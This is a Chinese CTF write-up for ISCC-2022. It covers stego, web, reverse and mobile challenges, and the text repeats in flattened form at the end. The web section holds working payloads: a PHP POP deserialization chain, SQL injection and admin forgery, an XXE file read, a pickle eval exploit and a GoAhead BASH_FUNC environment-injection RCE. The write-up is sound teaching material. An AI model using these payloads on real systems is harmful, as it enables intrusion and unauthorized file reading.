ISCC-2022部分wp
字数 2440 2025-08-06 21:48:45

ISCC-2022 CTF 部分题目解析与教学文档


0x01 MISC(杂项)

  1. 单板小将苏翊鸣

    • 解题步骤
      1. 下载附件(压缩包+图片),修改图片高度发现隐藏的二维码。
      2. 扫码获取密码 15942,解压得到 ISCC{beij-dbxj-2004}
    • 知识点
      • 图片隐写(高度修改、二维码识别)。
      • 压缩包密码爆破(若二维码不可见)。
  2. 降维打击

    • 解题步骤
      1. 使用 foremost 分离图片,发现隐藏的 PNG。
      2. 通过 zsteg 分析通道数据(b1,r,lsb,yx),提取魔女文字对照表解码,得到 ISCC{RARC-ZQTX-EDKM}
    • 知识点
      • 文件分离工具(foremostbinwalk)。
      • LSB隐写分析(zsteg)。
  3. 藏在星空中的诗-1

    • 解题步骤
      1. 用 Photoshop 打开 PSD 文件,调整不透明度为 100%,观察星星顺序为 1 3 5 2 4
      2. 根据顺序拼接密码,得到 ISCC{CLUOLCDYZAWTFV}
    • 知识点
      • PSD 文件隐写(图层分析)。
  4. 真相只有一个

    • 解题步骤
      1. 使用 zsteg 分析 PNG 文件,发现 b1,rgb,lsb,xy 通道的文本隐写。
      2. 提取后得到摩斯密码 .. ... -.-. -.-. -- .. ... -.-.,解码为 ISCC
      3. 结合 nsow 隐写提示,最终 flag 为 ISCC{4Pbq-e9h2-r8AM}
    • 知识点
      • 多通道隐写分析(zsteg)。
      • 摩斯密码解码。
  5. 隐秘的信息

    • 解题步骤
      1. 将十六进制字符串转换为二进制,去除空格后解码为 ASCII。
      2. 拼接得到 ISCC{iBud7T7RXCMJyeT8vtRq}
    • 知识点
      • 二进制/ASCII 转换(Python 脚本处理)。

0x02 WEB(Web 安全)

  1. 冬奥会

    • 漏洞点
      • JSON 参数弱类型比较(year="2022a" 绕过 is_numeric)。
      • 数组逻辑绕过(items=[0,[2],1] 满足 count=3 且第二个元素为数组)。
    • Payload
      GET /?Information={"year":"2022a","items":[0,[2],1]} HTTP/1.1
      
    • FlagISCC{W31com3_T0_Beijin9}
  2. Pop2022

    • 解题步骤
      1. 反序列化链构造:Road_is_Long -> Make_a_Change -> Try_Work_Hard
      2. 利用 Try_Work_Hard 类的 __invoke 方法触发文件读取(php://filter)。
    • Exp
      class Road_is_Long{ public $page; public $string; }  
      class Try_Work_Hard{ protected $var='php://filter/read=convert.base64-encode/resource=flag.php'; }  
      class Make_a_Change{ public $effort; }  
      $a = new Road_is_Long();  
      $a->string = new Make_a_Change();  
      $a->string->effort = new Try_Work_Hard();  
      echo serialize($a);  
      
    • FlagISCC{P0p_Zi_aNd_P1p_Mei_Da1ly_life_2022}
  3. Easy-SQL

    • 漏洞点
      • MySQL 8.0 特性:union table 替代 union select 绕过过滤。
      • 二次注入:通过 username=-1' union values row("admin","admin","ki10Moc")# 伪造管理员。
    • Payload
      id=8 union table emails limit 8,1 --+
      POST: username=-1' union values row("admin","admin","ki10Moc")#&passwd=ki10Moc
      
    • FlagISCC{Fdsfs219_19FdFasVEsd0f158_T0o_SFFsd12156fs_m1}
  4. findme

    • 解题步骤
      1. 利用 PHP 原生类(GlobIterator)遍历目录,发现 f*.txt
      2. 使用 SplFileObject 读取 fSSSbis19k_sdW15dMe.txt
    • Exp
      class a{ public $un0='GlobIterator'; public $un1='f*.txt'; }  
      class b{ public $un0='SplFileObject'; public $un1='fSSSbis19k_sdW15dMe.txt'; }  
      
    • FlagISCC{DS19sdw_SssfDA10nK_2077yyyyNNNN}
  5. XXE 漏洞(爱国敬业好青年-2)

    • 解题步骤
      1. 发现坐标转换漏洞(116°23′E 39°54'N)。
      2. 通过 XXE 读取系统文件:
      <!ENTITY ki10Moc SYSTEM "file:///flag.txt">  
      
    • FlagISCC{w179Qxxs_1QvPlNmSzX08vE_a18s_1q1846NO}

0x03 REVERSE(逆向工程)

  1. Amy's Code
    • 解题步骤
      1. 分析数组运算逻辑,逐字节异或解密。
      2. Python 脚本:
      str1 = [149,169,...,110]  
      str2 = [76,87,...,74]  
      flag = ''.join([chr((str1[i]-str2[i])^i) for i in range(20)])  
      
    • FlagISCC{reverse_i18Li8}

0x04 MOBILE(移动安全)

  1. MOBILEA
    • 解题步骤
      1. 逆向 JNI 层逻辑,发现 Base64 编码的 MD5 校验。
      2. 解密 =IkMBb+=gF2/Try5PCUruw1j 得到中间值。
      3. AES 解密(密钥 K@e2022%%y,IV I&V2022***)获取 flag 片段。
    • FlagISCC{JFV(*&TFVcfgtyui_leaf}

擂台赛题目

  1. MISC-666

    • 解题步骤
      1. 修改 GIF 高度,提取帧中的 Base64 数据。
      2. 九键密码解码 + AES 解密。
    • FlagISCC{lbwmeiyoukaig}
  2. WEB-Melody

    • 漏洞点
      • Flask 会话伪造(密钥 meldoy-is-so-cute-wawawa!)。
      • Pickle 反序列化绕过(禁用 R 指令)。
    • Exp
      class register:  
          def __reduce__(self):  
              return (eval, ("open('flag.txt').read()",))  
      print(base64.b64encode(pickle.dumps(register())))  
      
    • FlagISCC{2022_melody_secrets}
  3. GoAhead RCE(ping2rce)

    • 漏洞点
      • 环境变量注入(BASH_FUNC_ping%%)。
    • Payload
      POST /cgi-bin/ping?ip=0.0.0.0 HTTP/1.1  
      Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxxx  
      ------WebKitFormBoundaryxxx  
      Content-Disposition: form-data; name="BASH_FUNC_ping%%"  
      () { cat /flag; }  
      
    • FlagISCC{c1522169-7dcvd499-4add960-9ad36-8b2a5f2f7}

总结

  • 隐写术:关注文件头、高度/宽度修改、LSB、二维码。
  • Web 漏洞:弱类型比较、反序列化链、SQL 注入绕过、XXE、SSRF。
  • 逆向工程:动态调试 + 静态分析(IDA Pro)。
  • 移动安全:JNI 逆向、加密算法逆向。
  • 工具推荐zstegforemostBurp SuiteIDA Pro

通过以上案例,可系统学习 CTF 常见题型及解题思路。

ISCC-2022 CTF 部分题目解析与教学文档 0x01 MISC(杂项) 单板小将苏翊鸣 解题步骤 : 下载附件(压缩包+图片),修改图片高度发现隐藏的二维码。 扫码获取密码 15942 ,解压得到 ISCC{beij-dbxj-2004} 。 知识点 : 图片隐写(高度修改、二维码识别)。 压缩包密码爆破(若二维码不可见)。 降维打击 解题步骤 : 使用 foremost 分离图片,发现隐藏的 PNG。 通过 zsteg 分析通道数据( b1,r,lsb,yx ),提取魔女文字对照表解码,得到 ISCC{RARC-ZQTX-EDKM} 。 知识点 : 文件分离工具( foremost 、 binwalk )。 LSB隐写分析( zsteg )。 藏在星空中的诗-1 解题步骤 : 用 Photoshop 打开 PSD 文件,调整不透明度为 100%,观察星星顺序为 1 3 5 2 4 。 根据顺序拼接密码,得到 ISCC{CLUOLCDYZAWTFV} 。 知识点 : PSD 文件隐写(图层分析)。 真相只有一个 解题步骤 : 使用 zsteg 分析 PNG 文件,发现 b1,rgb,lsb,xy 通道的文本隐写。 提取后得到摩斯密码 .. ... -.-. -.-. -- .. ... -.-. ,解码为 ISCC 。 结合 nsow 隐写提示,最终 flag 为 ISCC{4Pbq-e9h2-r8AM} 。 知识点 : 多通道隐写分析( zsteg )。 摩斯密码解码。 隐秘的信息 解题步骤 : 将十六进制字符串转换为二进制,去除空格后解码为 ASCII。 拼接得到 ISCC{iBud7T7RXCMJyeT8vtRq} 。 知识点 : 二进制/ASCII 转换(Python 脚本处理)。 0x02 WEB(Web 安全) 冬奥会 漏洞点 : JSON 参数弱类型比较( year="2022a" 绕过 is_numeric )。 数组逻辑绕过( items=[0,[2],1] 满足 count=3 且第二个元素为数组)。 Payload : Flag : ISCC{W31com3_T0_Beijin9} Pop2022 解题步骤 : 反序列化链构造: Road_is_Long -> Make_a_Change -> Try_Work_Hard 。 利用 Try_Work_Hard 类的 __invoke 方法触发文件读取( php://filter )。 Exp : Flag : ISCC{P0p_Zi_aNd_P1p_Mei_Da1ly_life_2022} Easy-SQL 漏洞点 : MySQL 8.0 特性: union table 替代 union select 绕过过滤。 二次注入:通过 username=-1' union values row("admin","admin","ki10Moc")# 伪造管理员。 Payload : Flag : ISCC{Fdsfs219_19FdFasVEsd0f158_T0o_SFFsd12156fs_m1} findme 解题步骤 : 利用 PHP 原生类( GlobIterator )遍历目录,发现 f*.txt 。 使用 SplFileObject 读取 fSSSbis19k_sdW15dMe.txt 。 Exp : Flag : ISCC{DS19sdw_SssfDA10nK_2077yyyyNNNN} XXE 漏洞(爱国敬业好青年-2) 解题步骤 : 发现坐标转换漏洞( 116°23′E 39°54'N )。 通过 XXE 读取系统文件: Flag : ISCC{w179Qxxs_1QvPlNmSzX08vE_a18s_1q1846NO} 0x03 REVERSE(逆向工程) Amy's Code 解题步骤 : 分析数组运算逻辑,逐字节异或解密。 Python 脚本: Flag : ISCC{reverse_i18Li8} 0x04 MOBILE(移动安全) MOBILEA 解题步骤 : 逆向 JNI 层逻辑,发现 Base64 编码的 MD5 校验。 解密 =IkMBb+=gF2/Try5PCUruw1j 得到中间值。 AES 解密(密钥 K@e2022%%y ,IV I&V2022*** )获取 flag 片段。 Flag : ISCC{JFV(*&TFVcfgtyui_leaf} 擂台赛题目 MISC-666 解题步骤 : 修改 GIF 高度,提取帧中的 Base64 数据。 九键密码解码 + AES 解密。 Flag : ISCC{lbwmeiyoukaig} WEB-Melody 漏洞点 : Flask 会话伪造(密钥 meldoy-is-so-cute-wawawa! )。 Pickle 反序列化绕过(禁用 R 指令)。 Exp : Flag : ISCC{2022_melody_secrets} GoAhead RCE(ping2rce) 漏洞点 : 环境变量注入( BASH_FUNC_ping%% )。 Payload : Flag : ISCC{c1522169-7dcvd499-4add960-9ad36-8b2a5f2f7} 总结 隐写术 :关注文件头、高度/宽度修改、LSB、二维码。 Web 漏洞 :弱类型比较、反序列化链、SQL 注入绕过、XXE、SSRF。 逆向工程 :动态调试 + 静态分析(IDA Pro)。 移动安全 :JNI 逆向、加密算法逆向。 工具推荐 : zsteg 、 foremost 、 Burp Suite 、 IDA Pro 。 通过以上案例,可系统学习 CTF 常见题型及解题思路。